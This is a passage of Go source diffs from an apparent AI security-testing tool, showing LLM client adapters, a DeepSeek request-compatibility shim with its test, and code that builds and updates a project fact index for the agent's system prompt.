func agenticMessageToClassic(msg *schema.AgenticMessage) *schema.Message {
|
||||||
|
if msg == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
content, reasoning := AgenticText(msg)
|
||||||
|
return &schema.Message{
|
||||||
|
Role: schema.Assistant,
|
||||||
|
Content: content,
|
||||||
|
ReasoningContent: reasoning,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func commonAgenticOptions(boundTools []*schema.ToolInfo, opts ...model.Option) []model.Option {
|
||||||
|
common := model.GetCommonOptions(&model.Options{
|
||||||
|
Tools: append([]*schema.ToolInfo(nil), boundTools...),
|
||||||
|
}, opts...)
|
||||||
|
out := make([]model.Option, 0, 6)
|
||||||
|
if common.Temperature != nil {
|
||||||
|
out = append(out, model.WithTemperature(*common.Temperature))
|
||||||
|
}
|
||||||
|
if common.Model != nil {
|
||||||
|
out = append(out, model.WithModel(*common.Model))
|
||||||
|
}
|
||||||
|
if common.TopP != nil {
|
||||||
|
out = append(out, model.WithTopP(*common.TopP))
|
||||||
|
}
|
||||||
|
if common.MaxTokens != nil {
|
||||||
|
out = append(out, model.WithMaxTokens(*common.MaxTokens))
|
||||||
|
}
|
||||||
|
if len(common.Stop) > 0 {
|
||||||
|
out = append(out, model.WithStop(common.Stop))
|
||||||
|
}
|
||||||
|
if common.Tools != nil {
|
||||||
|
out = append(out, model.WithTools(common.Tools))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package llm
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
|
||||||
|
agenticclaude "github.com/cloudwego/eino-ext/components/model/agenticclaude"
|
||||||
|
"github.com/cloudwego/eino/components/model"
|
||||||
|
"github.com/cloudwego/eino/schema"
|
||||||
|
)
|
||||||
|
|
||||||
|
func IsClaudeProvider(provider string) bool {
|
||||||
|
provider = strings.ToLower(strings.TrimSpace(provider))
|
||||||
|
return provider == "claude" || provider == "anthropic"
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewClaudeAgenticModel(
|
||||||
|
ctx context.Context,
|
||||||
|
cfg config.OpenAIConfig,
|
||||||
|
httpClient *http.Client,
|
||||||
|
maxTokens int,
|
||||||
|
extraFields map[string]any,
|
||||||
|
) (model.AgenticModel, error) {
|
||||||
|
if maxTokens <= 0 {
|
||||||
|
maxTokens = cfg.MaxCompletionTokensEffective()
|
||||||
|
}
|
||||||
|
if cfg.IsDeepSeekEndpointOrModel() {
|
||||||
|
httpClient = newDeepSeekAnthropicCompatibleClient(httpClient)
|
||||||
|
}
|
||||||
|
return agenticclaude.New(ctx, &agenticclaude.Config{
|
||||||
|
APIKey: strings.TrimSpace(cfg.APIKey),
|
||||||
|
BaseURL: strings.TrimSuffix(strings.TrimSpace(cfg.BaseURL), "/"),
|
||||||
|
Model: strings.TrimSpace(cfg.Model),
|
||||||
|
MaxTokens: maxTokens,
|
||||||
|
HTTPClient: httpClient,
|
||||||
|
ExtraFields: extraFields,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func AgenticText(msg *schema.AgenticMessage) (content, reasoning string) {
|
||||||
|
if msg == nil {
|
||||||
|
return "", ""
|
||||||
|
}
|
||||||
|
var contentParts, reasoningParts []string
|
||||||
|
for _, block := range msg.ContentBlocks {
|
||||||
|
if block == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch {
|
||||||
|
case block.AssistantGenText != nil:
|
||||||
|
contentParts = append(contentParts, block.AssistantGenText.Text)
|
||||||
|
case block.Reasoning != nil:
|
||||||
|
reasoningParts = append(reasoningParts, block.Reasoning.Text)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return strings.Join(contentParts, ""), strings.Join(reasoningParts, "")
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package llm
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
// newDeepSeekAnthropicCompatibleClient compensates for DeepSeek's Anthropic
|
||||||
|
// endpoint lagging behind the current Anthropic SDK. The SDK emits
|
||||||
|
// {"type":"custom"} for function tools, while DeepSeek expects the older
|
||||||
|
// name/input_schema/description shape without that discriminator.
|
||||||
|
//
|
||||||
|
// This is a field-level compatibility fix; requests still originate from
|
||||||
|
// Eino's native agenticclaude model and remain Anthropic Messages API requests.
|
||||||
|
func newDeepSeekAnthropicCompatibleClient(base *http.Client) *http.Client {
|
||||||
|
if base == nil {
|
||||||
|
base = http.DefaultClient
|
||||||
|
}
|
||||||
|
cloned := *base
|
||||||
|
transport := base.Transport
|
||||||
|
if transport == nil {
|
||||||
|
transport = http.DefaultTransport
|
||||||
|
}
|
||||||
|
cloned.Transport = &deepSeekAnthropicCompatRoundTripper{base: transport}
|
||||||
|
return &cloned
|
||||||
|
}
|
||||||
|
|
||||||
|
type deepSeekAnthropicCompatRoundTripper struct {
|
||||||
|
base http.RoundTripper
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rt *deepSeekAnthropicCompatRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
|
if req == nil || req.Body == nil || req.Method != http.MethodPost {
|
||||||
|
return rt.base.RoundTrip(req)
|
||||||
|
}
|
||||||
|
body, err := io.ReadAll(req.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read DeepSeek Anthropic request: %w", err)
|
||||||
|
}
|
||||||
|
_ = req.Body.Close()
|
||||||
|
|
||||||
|
var payload map[string]any
|
||||||
|
if err := json.Unmarshal(body, &payload); err != nil {
|
||||||
|
req.Body = io.NopCloser(bytes.NewReader(body))
|
||||||
|
return rt.base.RoundTrip(req)
|
||||||
|
}
|
||||||
|
tools, ok := payload["tools"].([]any)
|
||||||
|
if !ok {
|
||||||
|
req.Body = io.NopCloser(bytes.NewReader(body))
|
||||||
|
return rt.base.RoundTrip(req)
|
||||||
|
}
|
||||||
|
changed := false
|
||||||
|
for _, rawTool := range tools {
|
||||||
|
tool, ok := rawTool.(map[string]any)
|
||||||
|
if !ok || tool["type"] != "custom" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
delete(tool, "type")
|
||||||
|
changed = true
|
||||||
|
}
|
||||||
|
if changed {
|
||||||
|
body, err = json.Marshal(payload)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("marshal DeepSeek Anthropic request: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
req.Body = io.NopCloser(bytes.NewReader(body))
|
||||||
|
req.ContentLength = int64(len(body))
|
||||||
|
req.GetBody = func() (io.ReadCloser, error) {
|
||||||
|
return io.NopCloser(bytes.NewReader(body)), nil
|
||||||
|
}
|
||||||
|
return rt.base.RoundTrip(req)
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package llm
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
type captureRoundTripper struct {
|
||||||
|
body string
|
||||||
|
}
|
||||||
|
|
||||||
|
func (rt *captureRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
|
body, err := io.ReadAll(req.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
rt.body = string(body)
|
||||||
|
return &http.Response{
|
||||||
|
StatusCode: http.StatusOK,
|
||||||
|
Header: make(http.Header),
|
||||||
|
Body: io.NopCloser(bytes.NewReader(nil)),
|
||||||
|
Request: req,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeepSeekAnthropicCompatStripsOnlyCustomToolType(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
capture := &captureRoundTripper{}
|
||||||
|
client := newDeepSeekAnthropicCompatibleClient(&http.Client{Transport: capture})
|
||||||
|
req, err := http.NewRequest(
|
||||||
|
http.MethodPost,
|
||||||
|
"https://api.deepseek.com/anthropic/v1/messages",
|
||||||
|
strings.NewReader(`{"tools":[{"type":"custom","name":"mcp_tool","input_schema":{"type":"object"}},{"type":"web_search_20260209","name":"web_search"}]}`),
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewRequest: %v", err)
|
||||||
|
}
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Do: %v", err)
|
||||||
|
}
|
||||||
|
_ = resp.Body.Close()
|
||||||
|
if strings.Contains(capture.body, `"type":"custom"`) {
|
||||||
|
t.Fatalf("custom discriminator was not removed: %s", capture.body)
|
||||||
|
}
|
||||||
|
if !strings.Contains(capture.body, `"type":"web_search_20260209"`) {
|
||||||
|
t.Fatalf("server tool discriminator was removed: %s", capture.body)
|
||||||
|
}
|
||||||
|
if !strings.Contains(capture.body, `"name":"mcp_tool"`) {
|
||||||
|
t.Fatalf("custom tool definition was removed: %s", capture.body)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AppendSystemPromptBlock 将附加块追加到 system prompt。
|
||||||
|
func AppendSystemPromptBlock(base, block string) string {
|
||||||
|
base = strings.TrimSpace(base)
|
||||||
|
block = strings.TrimSpace(block)
|
||||||
|
if block == "" {
|
||||||
|
return base
|
||||||
|
}
|
||||||
|
if base == "" {
|
||||||
|
return block
|
||||||
|
}
|
||||||
|
return base + "\n\n" + block
|
||||||
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
factIndexFooterGetDetail = "需要完整内容(攻击链、POC、请求响应等)时必须调用 get_project_fact(fact_key),禁止凭摘要臆造细节。"
|
||||||
|
factIndexFooterWriteHint = "写入事实 links 时用 from(来源 fact_key → 当前 fact),如 finding 上 {from:target/*, type:discovered_on};body 写可复现全流程(发现/利用类 fact_key 建议 finding|chain|exploit|poc/ 前缀)。"
|
||||||
|
factIndexFooterEmpty = "需要写入请使用 upsert_project_fact;需要详情请调用 get_project_fact(fact_key)。"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BuildFactIndexBlock 为 Agent 系统提示生成项目黑板索引(key + summary + 关系边 + 攻击路径,不含 body)。
|
||||||
|
func BuildFactIndexBlock(db *database.DB, projectID string, cfg config.ProjectConfig) (string, error) {
|
||||||
|
if db == nil || !cfg.Enabled {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
projectID = strings.TrimSpace(projectID)
|
||||||
|
if projectID == "" {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
proj, err := db.GetProject(projectID)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
facts, err := db.ListProjectFactsForIndex(projectID, cfg.DefaultInjectDeprecated)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
allEdges, _ := db.ListProjectFactEdgesByProject(projectID)
|
||||||
|
_, incomingByTarget := indexEdgeGroupMaps(allEdges)
|
||||||
|
|
||||||
|
if len(facts) == 0 {
|
||||||
|
return wrapFactIndexBlock(fmt.Sprintf("## 项目黑板索引(project: %s, id: %s)\n(暂无事实)\n%s", proj.Name, proj.ID, factIndexFooterEmpty)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
sortFactsForIndex(facts)
|
||||||
|
|
||||||
|
maxRunes := cfg.FactIndexMaxRunesEffective()
|
||||||
|
pathMaxRunes := cfg.FactIndexPathMaxRunesEffective()
|
||||||
|
footer := factIndexFooterGetDetail + "\n" + factIndexFooterWriteHint
|
||||||
|
footerRunes := len([]rune(footer))
|
||||||
|
factsBudget := maxRunes - pathMaxRunes - footerRunes
|
||||||
|
if factsBudget < 800 {
|
||||||
|
factsBudget = maxRunes - footerRunes
|
||||||
|
pathMaxRunes = 0
|
||||||
|
}
|
||||||
|
|
||||||
|
indexedKeys := make(map[string]struct{}, len(facts))
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString(fmt.Sprintf("## 项目黑板索引(project: %s, id: %s)\n", proj.Name, proj.ID))
|
||||||
|
used := len([]rune(b.String()))
|
||||||
|
omitted := 0
|
||||||
|
|
||||||
|
for _, f := range facts {
|
||||||
|
indexedKeys[f.FactKey] = struct{}{}
|
||||||
|
line := fmt.Sprintf("- [%s] %s — %s (%s)", f.FactKey, f.Category, strings.TrimSpace(f.Summary), f.Confidence)
|
||||||
|
line += FormatFactIndexLinksHint(f.FactKey, incomingByTarget[f.FactKey])
|
||||||
|
line += "\n"
|
||||||
|
lineRunes := len([]rune(line))
|
||||||
|
if used+lineRunes > factsBudget {
|
||||||
|
omitted++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteString(line)
|
||||||
|
used += lineRunes
|
||||||
|
}
|
||||||
|
|
||||||
|
if omitted > 0 {
|
||||||
|
b.WriteString(fmt.Sprintf("\n(另有 %d 条未列入索引,请使用 list_project_facts 或 search_project_facts 查询。)\n", omitted))
|
||||||
|
}
|
||||||
|
|
||||||
|
if pathSection := BuildFactPathOverviewSection(allEdges, indexedKeys, pathMaxRunes); pathSection != "" {
|
||||||
|
b.WriteString("\n")
|
||||||
|
b.WriteString(pathSection)
|
||||||
|
}
|
||||||
|
|
||||||
|
b.WriteString(footer)
|
||||||
|
return wrapFactIndexBlock(b.String()), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// FactIndexSectionHeading 黑板索引可读标题行前缀(块内保留,供 Agent 阅读)。
|
||||||
|
const FactIndexSectionHeading = "## 项目黑板索引"
|
||||||
|
|
||||||
|
// FactIndexSectionStartMarker / EndMarker:HTML 注释边界,供程序化替换;对模型无指令语义。
|
||||||
|
const (
|
||||||
|
FactIndexSectionStartMarker = "<!-- fact-index-start -->"
|
||||||
|
FactIndexSectionEndMarker = "<!-- fact-index-end -->"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ReplaceFactIndexSection 用 freshIndex 替换 content 中已有的项目黑板索引段。
|
||||||
|
// freshIndex 须为 BuildFactIndexBlock 的完整输出。起止 HTML 注释缺失时返回 (_, false)。
|
||||||
|
func ReplaceFactIndexSection(content, freshIndex string) (string, bool) {
|
||||||
|
freshIndex = strings.TrimSpace(freshIndex)
|
||||||
|
if freshIndex == "" {
|
||||||
|
return content, false
|
||||||
|
}
|
||||||
|
start, ok := factIndexSectionStart(content)
|
||||||
|
if !ok {
|
||||||
|
return content, false
|
||||||
|
}
|
||||||
|
end, ok := factIndexSectionEnd(content, start)
|
||||||
|
if !ok || end <= start {
|
||||||
|
return content, false
|
||||||
|
}
|
||||||
|
return content[:start] + freshIndex + content[end:], true
|
||||||
|
}
|
||||||
|
|
||||||
|
// wrapFactIndexBlock 为 BuildFactIndexBlock 正文加上统一起止 HTML 注释边界。
|
||||||
|
func wrapFactIndexBlock(content string) string {
|
||||||
|
content = strings.TrimSpace(content)
|
||||||
|
return FactIndexSectionStartMarker + "\n" + content + "\n" + FactIndexSectionEndMarker + "\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
func factIndexSectionStart(content string) (int, bool) {
|
||||||
|
idx := strings.Index(content, FactIndexSectionStartMarker)
|
||||||
|
if idx < 0 {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
return idx, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func factIndexSectionEnd(content string, start int) (int, bool) {
|
||||||
|
if start < 0 || start >= len(content) {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
tail := content[start:]
|
||||||
|
idx := strings.LastIndex(tail, FactIndexSectionEndMarker)
|
||||||
|
if idx < 0 {
|
||||||
|
return 0, false
|
||||||
|
}
|
||||||
|
return start + idx + len(FactIndexSectionEndMarker), true
|
||||||
|
}
|
||||||
@@ -0,0 +1,154 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func sampleFactIndexWithFacts(projectLabel, summary string) string {
|
||||||
|
return wrapFactIndexBlock("## 项目黑板索引(project: " + projectLabel + ", id: x)\n" +
|
||||||
|
"- [target/a] target — " + summary + " (tentative)\n" +
|
||||||
|
factIndexFooterGetDetail + "\n" +
|
||||||
|
factIndexFooterWriteHint)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestReplaceFactIndexSection(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
oldIndex := sampleFactIndexWithFacts("p1", "old summary")
|
||||||
|
newIndex := sampleFactIndexWithFacts("p1", "new summary")
|
||||||
|
|
||||||
|
t.Run("replaces index before next section", func(t *testing.T) {
|
||||||
|
content := "你是助手\n\n" + oldIndex + "\n\n## 图片分析\n看截图"
|
||||||
|
out, ok := ReplaceFactIndexSection(content, newIndex)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected replacement")
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "old summary") {
|
||||||
|
t.Fatalf("old index should be gone: %q", out)
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "new summary") || !strings.Contains(out, "## 图片分析") {
|
||||||
|
t.Fatalf("expected new index and preserved vision section: %q", out)
|
||||||
|
}
|
||||||
|
if strings.Count(out, FactIndexSectionStartMarker) != 1 || strings.Count(out, FactIndexSectionEndMarker) != 1 {
|
||||||
|
t.Fatalf("expected exactly one start/end marker pair: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("replaces index at end", func(t *testing.T) {
|
||||||
|
content := "## 项目测试范围\nscope\n\n" + oldIndex
|
||||||
|
out, ok := ReplaceFactIndexSection(content, newIndex)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected replacement")
|
||||||
|
}
|
||||||
|
if !strings.Contains(out, "## 项目测试范围") || !strings.Contains(out, "new summary") {
|
||||||
|
t.Fatalf("scope preserved, index updated: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("summary with false markdown header does not truncate early", func(t *testing.T) {
|
||||||
|
summaryWithFakeHeader := "see\n\n## fake header in summary"
|
||||||
|
old := sampleFactIndexWithFacts("p1", summaryWithFakeHeader)
|
||||||
|
newIdx := sampleFactIndexWithFacts("p1", "new summary")
|
||||||
|
content := old + "\n\n## 图片分析\nvision"
|
||||||
|
out, ok := ReplaceFactIndexSection(content, newIdx)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected replacement")
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "fake header in summary") {
|
||||||
|
t.Fatalf("old index tail should be fully removed: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("summary containing end marker text does not truncate early", func(t *testing.T) {
|
||||||
|
summary := "note " + FactIndexSectionEndMarker + " in summary"
|
||||||
|
old := sampleFactIndexWithFacts("p1", summary)
|
||||||
|
newIdx := sampleFactIndexWithFacts("p1", "clean")
|
||||||
|
content := old + "\n\n## 图片分析\nvision"
|
||||||
|
out, ok := ReplaceFactIndexSection(content, newIdx)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected replacement")
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "in summary") {
|
||||||
|
t.Fatalf("old block should be fully removed: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("missing html markers does not replace", func(t *testing.T) {
|
||||||
|
legacy := "## 项目黑板索引(project: p1, id: x)\n- [a] note — old (tentative)\n"
|
||||||
|
newIdx := sampleFactIndexWithFacts("p1", "new")
|
||||||
|
out, ok := ReplaceFactIndexSection("prefix\n\n"+legacy, newIdx)
|
||||||
|
if ok {
|
||||||
|
t.Fatalf("expected no replacement without markers: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty facts block", func(t *testing.T) {
|
||||||
|
oldEmpty := wrapFactIndexBlock("## 项目黑板索引(project: p1, id: x)\n(暂无事实)\n" + factIndexFooterEmpty)
|
||||||
|
newEmpty := sampleFactIndexWithFacts("p1", "first fact")
|
||||||
|
out, ok := ReplaceFactIndexSection(oldEmpty, newEmpty)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected replacement")
|
||||||
|
}
|
||||||
|
if strings.Contains(out, "(暂无事实)") {
|
||||||
|
t.Fatalf("old empty block should be gone: %q", out)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("no marker", func(t *testing.T) {
|
||||||
|
_, ok := ReplaceFactIndexSection("no blackboard here", newIndex)
|
||||||
|
if ok {
|
||||||
|
t.Fatal("expected false when marker missing")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("empty fresh index", func(t *testing.T) {
|
||||||
|
_, ok := ReplaceFactIndexSection(oldIndex, " ")
|
||||||
|
if ok {
|
||||||
|
t.Fatal("expected false for empty fresh index")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFactIndexSectionBounds_useHTMLMarkers(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
body := sampleFactIndexWithFacts("p", "line with\n\n## not a real section") + "TAIL_SHOULD_DROP"
|
||||||
|
start, ok := factIndexSectionStart(body)
|
||||||
|
if !ok || !strings.HasPrefix(body[start:], FactIndexSectionStartMarker) {
|
||||||
|
t.Fatalf("start should be at html start marker, got %d", start)
|
||||||
|
}
|
||||||
|
end, ok := factIndexSectionEnd(body, start)
|
||||||
|
if !ok || body[end:] != "\nTAIL_SHOULD_DROP" {
|
||||||
|
t.Fatalf("end should be after end marker, got remainder %q", body[end:])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildFactIndexBlock_includesHTMLMarkers(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||||
|
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
proj, err := db.CreateProject(&database.Project{Name: "marker-proj"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
block, err := BuildFactIndexBlock(db, proj.ID, config.ProjectConfig{Enabled: true})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(strings.TrimSpace(block), FactIndexSectionStartMarker) {
|
||||||
|
t.Fatalf("block should start with start marker: %q", block)
|
||||||
|
}
|
||||||
|
if !strings.Contains(block, FactIndexSectionEndMarker) {
|
||||||
|
t.Fatalf("block should include end marker: %q", block)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,256 @@
|
|||||||
|
package project
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
bodyDepFactLine = regexp.MustCompile(`(?im)^[\s\-*]*依赖事实\s*[::]\s*([a-zA-Z0-9][a-zA-Z0-9._/-]*)`)
|
||||||
|
bodyRelFactLine = regexp.MustCompile(`(?im)^[\s\-*]*相关\s*fact_key\s*[::]\s*([a-zA-Z0-9][a-zA-Z0-9._/-]*)`)
|
||||||
|
bodyAssocSection = regexp.MustCompile(`(?im)^##\s*关联\s*$`)
|
||||||
|
bodySyncLinksHead = "结构化关系边(自动同步)"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ParseLinksFromBody 从 body「关联」段落解析 from 语义的关系边(无显式 links 时的兜底)。
|
||||||
|
func ParseLinksFromBody(body string) []database.ProjectFactEdgeFromInput {
|
||||||
|
body = strings.TrimSpace(body)
|
||||||
|
if body == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
seen := map[string]struct{}{}
|
||||||
|
var out []database.ProjectFactEdgeFromInput
|
||||||
|
add := func(key, edgeType string) {
|
||||||
|
key = strings.TrimSpace(key)
|
||||||
|
if key == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := database.ValidateFactKey(key); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sig := edgeType + "\x00" + key
|
||||||
|
if _, ok := seen[sig]; ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[sig] = struct{}{}
|
||||||
|
out = append(out, database.ProjectFactEdgeFromInput{From: key, Type: edgeType})
|
||||||
|
}
|
||||||
|
for _, m := range bodyDepFactLine.FindAllStringSubmatch(body, -1) {
|
||||||
|
if len(m) > 1 {
|
||||||
|
add(m[1], "depends_on")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, m := range bodyRelFactLine.FindAllStringSubmatch(body, -1) {
|
||||||
|
if len(m) > 1 {
|
||||||
|
add(m[1], "supports")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 自动同步块:type: key
|
||||||
|
syncBlock := extractBodySyncLinksBlock(body)
|
||||||
|
for _, line := range strings.Split(syncBlock, "\n") {
|
||||||
|
line = strings.TrimSpace(strings.TrimPrefix(strings.TrimSpace(line), "-"))
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
edgeType, source, ok := strings.Cut(line, ":")
|
||||||
|
if !ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
edgeType = strings.TrimSpace(edgeType)
|
||||||
|
source = strings.TrimSpace(source)
|
||||||
|
if err := database.ValidateProjectFactEdgeType(edgeType); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
add(source, edgeType)
|
||||||
|
}
|
||||||
|
if len(out) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func extractBodySyncLinksBlock(body string) string {
|
||||||
|
lines := strings.Split(body, "\n")
|
||||||
|
var b strings.Builder
|
||||||
|
inAssoc := false
|
||||||
|
inSync := false
|
||||||
|
for _, line := range lines {
|
||||||
|
trim := strings.TrimSpace(line)
|
||||||
|
if bodyAssocSection.MatchString(trim) {
|
||||||
|
inAssoc = true
|
||||||
|
inSync = false
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if inAssoc && strings.HasPrefix(trim, "## ") && !strings.HasPrefix(trim, "## 关联") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if inAssoc && strings.Contains(trim, bodySyncLinksHead) {
|
||||||
|
inSync = true
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if inSync {
|
||||||
|
if trim == "" || strings.HasPrefix(trim, "-") || strings.Contains(trim, ":") {
|
||||||
|
if strings.HasPrefix(trim, "-") || (strings.Contains(trim, ":") && !strings.Contains(trim, "related_vulnerability")) {
|
||||||
|
b.WriteString(trim)
|
||||||
|
b.WriteByte('\n')
|
||||||
|
}
|
||||||
|
} else if strings.HasPrefix(trim, "##") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SyncBodyLinksSection 将入边镜像写入 body 的「关联」段(人读用;结构化以 links 为准)。
|
||||||
|
func SyncBodyLinksSection(body string, edges []*database.ProjectFactEdge) string {
|
||||||
|
body = strings.TrimSpace(body)
|
||||||
|
block := formatBodySyncLinksBlock(edges)
|
||||||
|
if block == "" {
|
||||||
|
return body
|
||||||
|
}
|
||||||
|
if body == "" {
|
||||||
|
return "## 关联\n" + block
|
||||||
|
}
|
||||||
|
lines := strings.Split(body, "\n")
|
||||||
|
var out []string
|
||||||
|
inAssoc := false
|
||||||
|
replaced := false
|
||||||
|
for i := 0; i < len(lines); i++ {
|
||||||
|
trim := strings.TrimSpace(lines[i])
|
||||||
|
if bodyAssocSection.MatchString(trim) {
|
||||||
|
inAssoc = true
|
||||||
|
out = append(out, lines[i])
|
||||||
|
// 跳过旧同步块
|
||||||
|
j := i + 1
|
||||||
|
for j < len(lines) {
|
||||||
|
t := strings.TrimSpace(lines[j])
|
||||||
|
if strings.HasPrefix(t, "## ") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if strings.Contains(t, bodySyncLinksHead) {
|
||||||
|
for j < len(lines) {
|
||||||
|
t2 := strings.TrimSpace(lines[j])
|
||||||
|
if t2 != "" && !strings.HasPrefix(t2, "-") && !strings.Contains(t2, ":") && !strings.Contains(t2, bodySyncLinksHead) {
|
||||||
|
if strings.HasPrefix(t2, "##") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
j++
|
||||||
|
if j < len(lines) && strings.HasPrefix(strings.TrimSpace(lines[j]), "## ") {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if j >= len(lines) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
